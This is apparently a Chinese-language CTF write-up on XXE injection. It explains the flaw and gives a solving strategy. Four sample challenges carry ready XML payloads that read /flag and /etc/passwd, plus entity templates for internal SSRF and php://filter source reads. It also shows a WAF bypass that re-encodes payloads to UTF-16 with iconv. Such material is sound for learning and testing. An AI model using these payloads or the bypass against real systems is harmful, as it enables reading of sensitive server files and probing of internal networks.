优秀的人,不是不合群,而是他们合群的人里面没有你
XXE即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
解题思路
- 主要是根据提示找到需要读取的flag在哪儿一般来说仔细看源代码,扫描等~,用什么方式读取
- 然后拼接模板payload一把锁哈,第一步就是试一试读取etc看看能不能成
- 难点在于WAF拦截,使用不同的UTF-16编码绕过
- 特别注意,自己在本地subline写好payload后再复制获取,千万别再burp直接写
- 最重点的,多试一试每个输入口,有些地方填写不会输出值
例题1 【入门学习】
抓包发现长这样的,基本都是xml试一试xxe
三个红色框都是自己要改的,第一个第二个,基本有这个固定的格式,但是第二个定义的名字,必须要在第三个里面引用.第二个除了用file读取文件,还可以用http协议内网ssrf,还可以用php协议读取
system"file:///path/to/file.ext">
system"http://url/file.ext">
system"php://filter/read=convert.base64-encode/resource=/home/bee/test.php">
system"php://filter/read=convert.base64-encode/resource=flag.php">
下面是固定的格式套路
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abcd [
<!ENTITY admin666 SYSTEM "file:///flag">
]>
<user><username>&admin666;</username><password>admin</password></user>
注意utf-8的大小写,然后就是burpsuite的编辑功能有问题,最好在记事本写好后,复制上去。
例题2 【考察上传】
根据提示,要上传xml,和题目1一样,补充第一个第二个红框内容,固定格式写好,如果有WAF拦截,修改编码utf-8改成utf-16。或者UTF-16BE,还是不行把文件编码另存为utf-16。
<?xml version="1.0"?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>&xxe;</group>
<intro>&xxe;</intro>
</user>
</users>
转换格式在kali下命令:
iconv -f utf-8 -t utf-16be > payload.8-16be.xml
iconv -f utf8 -t utf-16 1.xml>2.xml
例题3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<lucky_number>&xxe;</lucky_number>
例题4
easy xxe:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY iwantthisfilenow SYSTEM "file:///etc/passwd">]>
<root>
<firstname>john</firstname>
<phonenumber>0000</phonenumber>
<emailadd>&iwantthisfilenow;</emailadd>
</root>